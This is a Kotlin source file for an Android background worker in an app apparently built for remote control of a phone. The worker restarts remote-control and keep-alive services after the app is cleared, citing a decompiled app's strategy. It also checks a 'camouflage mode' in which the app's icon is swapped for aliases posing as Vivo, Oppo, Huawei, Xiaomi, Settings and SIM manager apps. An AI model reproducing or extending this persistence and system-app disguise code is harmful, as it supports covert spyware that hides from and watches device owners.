package com.hikoncont.service

import android.content.Context
import android.util.Log
import androidx.work.CoroutineWorker
import androidx.work.WorkerParameters

/**
 * 立即恢复工作器（一次性执行）
 * 用于在程序被清理后立即恢复服务
 */
class ImmediateRecoveryWorker(
    context: Context,
    params: WorkerParameters
) : CoroutineWorker(context, params) {

    companion object {
        private const val TAG = "ImmediateRecoveryWorker"
    }

    override suspend fun doWork(): Result {
        return try {
            Log.i(TAG, "⚡ 执行立即恢复工作")
            
            // 1. 立即启动前台服务
            startForegroundService()
            
            // 2. 立即启动无障碍服务
            // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
            Log.d(TAG, "📱 无障碍服务由系统自动管理，无需手动重启")
            
            // 3. 立即启动主服务
            startMainServices()
            
            // 4. 立即启动应用主Activity
//            startMainActivity()
            
            Log.i(TAG, "✅ 立即恢复完成")
            Result.success()
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 立即恢复工作执行失败", e)
            Result.retry()
        }
    }

    private suspend fun startForegroundService() {
        try {
            val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
            applicationContext.startForegroundService(intent)
            Log.d(TAG, "✅ 前台服务立即启动完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 立即启动前台服务失败", e)
        }
    }

    // ✅ 参考 f 目录：已移除重启无障碍服务的功能，系统会自动管理无障碍服务生命周期

    private suspend fun startMainServices() {
        try {
            val intent = android.content.Intent(applicationContext, com.hikoncont.service.KeepAliveService::class.java)
            applicationContext.startService(intent)
            Log.d(TAG, "✅ 主服务立即启动完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 立即启动主服务失败", e)
        }
    }

    private suspend fun startMainActivity() {
        try {
            // ✅ 修复：保活机制不启动任何 Activity，只启动无障碍服务和后台进程
            Log.d(TAG, "📱 保活机制不启动 Activity，只启动无障碍服务和后台进程")
            
            // 只启动后台服务，不启动Activity
            try {
                val serviceIntent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
                applicationContext.startForegroundService(serviceIntent)
                Log.d(TAG, "✅ 后台服务已启动")
            } catch (e: Exception) {
                Log.e(TAG, "❌ 启动后台服务失败", e)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 立即启动主Activity失败", e)
        }
    }
    
    /**
     * 检查是否是保活场景
     */
    private fun isKeepAliveScenario(): Boolean {
        return try {
            // ✅ 参照反编译应用策略：检查安装是否完成，如果未完成则不进行保活
            val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(applicationContext)
            val isInstallationComplete = installationStateManager.isInstallationComplete()
            
            if (!isInstallationComplete) {
                Log.d(TAG, "🔒 安装未完成，跳过保活场景检测")
                return false
            }
            
            // ✅ 检查是否应该启动保活Activity（而不是检查是否已经在运行）
            // 保活场景：安装完成后，通过保活机制启动的Activity应该显示透明保活Activity
            Log.d(TAG, "🫥 安装已完成，判断为保活场景，启动透明保活Activity")
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查保活场景失败", e)
            false
        }
    }
    
    /**
     * 检查应用是否处于伪装模式
     */
    private fun isAppInCamouflageMode(): Boolean {
        return try {
            val packageManager = applicationContext.packageManager
            val mainComponent = android.content.ComponentName(applicationContext, "com.hikoncont.MainActivity")
            
            val camouflageAliases = listOf(
                "com.hikoncont.PhoneManagerAlias",
                "com.hikoncont.VivoIGuanjiaAlias",
                "com.hikoncont.OppoAlias",
                "com.hikoncont.HuaweiAlias",
                "com.hikoncont.HonorAlias",
                "com.hikoncont.XiaomiAlias",
                "com.hikoncont.SettingsAlias",
                "com.hikoncont.SIMAlias"
            )
            
            val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
            val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
            
            var anyAliasEnabled = false
            for (aliasName in camouflageAliases) {
                try {
                    val component = android.content.ComponentName(applicationContext, aliasName)
                    val enabled = packageManager.getComponentEnabledSetting(component)
                    if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
                        anyAliasEnabled = true
                        break
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
                }
            }
            
            val isCamouflage = isMainDisabled && anyAliasEnabled
            Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (Main: $mainDisabled, AnyAlias: $anyAliasEnabled)")
            isCamouflage
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查APP伪装模式失败", e)
            false
        }
    }
}
